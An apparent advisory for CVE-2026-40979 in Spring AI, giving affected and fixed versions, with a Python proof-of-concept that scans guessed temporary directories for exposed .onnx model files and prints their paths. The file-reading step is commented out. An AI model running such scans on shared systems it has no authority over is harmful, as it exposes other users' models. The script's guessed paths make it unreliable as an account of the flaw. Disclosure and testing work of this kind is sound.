In Spring AI, having access to a shared environment can expose the ONNX model used by the application.
Affected versions:
Spring AI: 1.0.0 - 1.0.5 (fixed in 1.0.6), 1.1.0 - 1.1.4 (fixed in 1.1.5)
The following code is for security research and authorized testing only.
python
import os
# Proof of Concept for CVE-2026-40979
# This script simulates scanning for exposed ONNX models
# in a shared environment where Spring AI might store them.
def find_exposed_models():
# Common directories where Spring AI might cache or store models
search_paths = [
"/tmp/spring-ai-onnx/",
"/var/tmp/onnx_models/",
"./models/"
]
print("[*] Scanning for exposed ONNX models...")
for base_path in search_paths:
if os.path.exists(base_path):
for root, dirs, files in os.walk(base_path):
for file in files:
if file.endswith(".onnx"):
full_path = os.path.join(root, file)
print(f"[+] Found exposed model: {full_path}")
# In a real exploit, the attacker would copy or read this file
# with open(full_path, 'rb') as f:
# data = f.read()
# print(f" - Size: {len(data)} bytes")
if __name__ == "__main__":
find_exposed_models()